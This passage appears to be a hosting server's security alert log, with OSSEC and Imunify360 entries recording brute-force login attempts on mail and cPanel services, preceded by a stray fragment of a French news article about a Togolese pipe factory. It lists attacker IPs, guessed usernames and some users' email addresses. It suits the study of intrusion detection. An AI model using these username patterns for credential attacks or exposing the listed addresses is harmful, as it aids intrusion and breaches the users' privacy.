d\xe2\x80\x99assainissement collectif, mais aussi pour l\xe2\x80\x99adduction d\xe2\x80\x99eau potable et les projets d\xe2\x80\x99am\xc3\xa9nagement urbain durables.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31402,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_bandeau-renseignements.jpg\" alt=\"\" class=\"wp-image-31402\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>l\xe2\x80\x99objectif principal de l'\xc3\x89tat togolais est clair : stimuler une production locale et durable capable de r\xc3\xa9pondre aux besoins des grands chantiers nationaux, tout en r\xc3\xa9duisant drastiquement la d\xc3\xa9pendance du pays aux importations de mat\xc3\xa9riaux de construction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>des chiffres cl\xc3\xa9s impressionnants pour la premi\xc3\xa8re ann\xc3\xa9e</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'impact industriel et \xc3\xa9cologique de cette usine se mesure d\xc3\xa9j\xc3\xa0 \xc3\xa0 travers des objectifs de production massifs. lors de son allocution, le ministre en charge de l\xe2\x80\x99eau et de l'assainissement, s\xc3\xa9na alipui, a d\xc3\xa9voil\xc3\xa9 les ambitions de la premi\xc3\xa8re ann\xc3\xa9e d\xe2\x80\x99exploitation.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xc2\xab&nbsp;<em>cette infrastructure permettra de produire, d\xc3\xa8s sa premi\xc3\xa8re ann\xc3\xa9e d\xe2\x80\x99exploitation, plus de 2200 tuyaux de fon\xc3\xa7age de diam\xc3\xa8tre 2000 millim\xc3\xa8tres destin\xc3\xa9s aux intercepteurs du projet raine. plus de 1400 tonnes d\xe2\x80\x99acier y seront transform\xc3\xa9es et pr\xc3\xa8s de 10.000 m\xc3\xa8tres cubes de b\xc3\xa9ton bas carbone seront fabriqu\xc3\xa9s directement sur le site</em>&nbsp;\xc2\xbb, a-t-il expliqu\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>&nbsp;un levier \xc3\xa9conomique, social et \xc3\xa9cologique pour le togo</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au-del\xc3\xa0 de la simple performance technique, cette usine s\xe2\x80\x99inscrit dans la vision de d\xc3\xa9veloppement inclusif port\xc3\xa9e par l\xe2\x80\x99ex\xc3\xa9cutif togolais. en favorisant le savoir-faire local, le projet va g\xc3\xa9n\xc3\xa9rer de nombreux b\xc3\xa9n\xc3\xa9fices transversaux. car, souligne-t-on, <em>\xc2\xab l\xe2\x80\x99ambition, \xc3\xa0 terme, est de consolider une industrie nationale comp\xc3\xa9titive, capable d\xe2\x80\x99accompagner les grands projets d\xe2\x80\x99am\xc3\xa9nagement, d\xe2\x80\x99assainissement et de lutte contre les inondations, tout en int\xc3\xa9grant les exigences de la transition \xc3\xa9cologique. \xc2\xbb</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"622px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:622px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>notons qu\xe2\x80\x99avec cette inauguration, le togo prouve qu'il est possible de conjuguer industrialisation rapide, lutte contre les inondations et respect des engagements climatiques. une avanc\xc3\xa9e majeure pour le bien-\xc3\xaatre des populations et la r\xc3\xa9silience urbaine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>mab\xc3\xa9 b.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:15:39 +0000] info [cpaneld] 141.95.93.31 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:16:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44314: 535 Incorrect authentication data (set_id=plan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:17:07 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:17:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:44602: 535 Incorrect authentication data (set_id=passwd)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:16:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:16:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:48664: 535 Incorrect authentication data (set_id=sven)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.61.230.102
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/04/t\xc3\xa9l\xc3\xa9chargement-60.jpeg 275w, http:/togodailynews.tg/wp-content/uploads/2022/04/t\xc3\xa9l\xc3\xa9chargement-60-272x182.jpeg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:16:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:16:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:6734: 535 Incorrect authentication data (set_id=class)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:16:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:16:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:16:39 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:16:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:27324: 535 Incorrect authentication data (set_id=adread)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:16:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49998: 535 Incorrect authentication data (set_id=jenkins)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:17:36 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 17:17:41 +0000] info [cpaneld] 103.65.237.57 - Masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Masfloy (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.29.120
country_id: 2363686
description:
[2026-06-22 17:18:03 +0000] info [webmaild] 196.170.29.120 - pmdct@emt.tg "POST /cpsess5300121615/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.34.16] != Current IP Address [196.170.29.120]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:17:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25894: 535 Incorrect authentication data (set_id=photos5)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:17:56 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:17:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56568: 535 Incorrect authentication data (set_id=front1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:17:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:17:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:28784: 535 Incorrect authentication data (set_id=vtest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:17:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:19478: 535 Incorrect authentication data (set_id=sameer)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:17:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:17:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:17:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:43148: 535 Incorrect authentication data (set_id=edy)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:17:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:17:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:63334: 535 Incorrect authentication data (set_id=frigge)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:18:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59234: 535 Incorrect authentication data (set_id=pris)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:18:44 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:18:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:8918: 535 Incorrect authentication data (set_id=sin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:18:57 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:17:19:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815702&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782148756 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:18:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:18:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:10414: 535 Incorrect authentication data (set_id=u16)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:18:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:21760: 535 Incorrect authentication data (set_id=mailnull)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:18:47 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:18:52 +0000] info [cpaneld] 141.95.93.31 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:17:19:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13278103&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782148752 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:18:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:3568: 535 Incorrect authentication data (set_id=ares)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:18:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:18:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:7060: 535 Incorrect authentication data (set_id=aitor)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:18:41 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:19:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49200: 535 Incorrect authentication data (set_id=adm)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:19:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:19:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:16934: 535 Incorrect authentication data (set_id=papa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:19:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:59198: 535 Incorrect authentication data (set_id=ssotest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:19:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:9132: 535 Incorrect authentication data (set_id=moko)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:19:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34276: 535 Incorrect authentication data (set_id=airdrie)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 17:19:33 +0000] info [cpaneld] 103.65.237.57 - stephaneogou@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:19:40 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:19:45 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-22 17:20:22 +0000] info [webmaild] 154.70.80.74 - koudjramey.akua@cloud-et-racks.tg "GET /cpsess1647434989/webmail/jupiter/index.html?mailclient=none HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:19:40 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:19:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21064: 535 Incorrect authentication data (set_id=papa)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:19:34 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:19:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39188: 535 Incorrect authentication data (set_id=online2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:19:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.226
country_id: 6252001
description:
Jun 22 17:19:29 ns5 pure-ftpd[2627864]: (?@198.235.24.226) [INFO] New connection from 198.235.24.226


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:20:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:34774: 535 Incorrect authentication data (set_id=testuser)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:20:39 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:20:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:30364: 535 Incorrect authentication data (set_id=hray)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:20:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:20:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:15046: 535 Incorrect authentication data (set_id=mailb)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:20:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:20:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:61400: 535 Incorrect authentication data (set_id=marietta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:20:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58084: 535 Incorrect authentication data (set_id=utilisateur)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:20:25 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:20:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48874: 535 Incorrect authentication data (set_id=inside)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:20:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:21:04 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-22 17:21:58 +0000] info [webmaild] 154.70.80.74 - mlapa.eyram@cloud-et-racks.tg "GET /cpsess0526772435/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=8&_mbox=INBOX&_action=show HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:21:29 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:21:45 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:21:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:60604: 535 Incorrect authentication data (set_id=users)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:21:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:21:50 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:22:00 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:22:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:36156: 535 Incorrect authentication data (set_id=pollux)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:21:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:6196: 535 Incorrect authentication data (set_id=blaine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:21:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:51338: 535 Incorrect authentication data (set_id=todd)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:21:48 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:21:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40864: 535 Incorrect authentication data (set_id=derick)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:21:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:8328: 535 Incorrect authentication data (set_id=kamei)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:22:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:22:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:15204: 535 Incorrect authentication data (set_id=daycare)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:22:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:39720: 535 Incorrect authentication data (set_id=ef)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:22:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11568: 535 Incorrect authentication data (set_id=ef)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:22:29 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
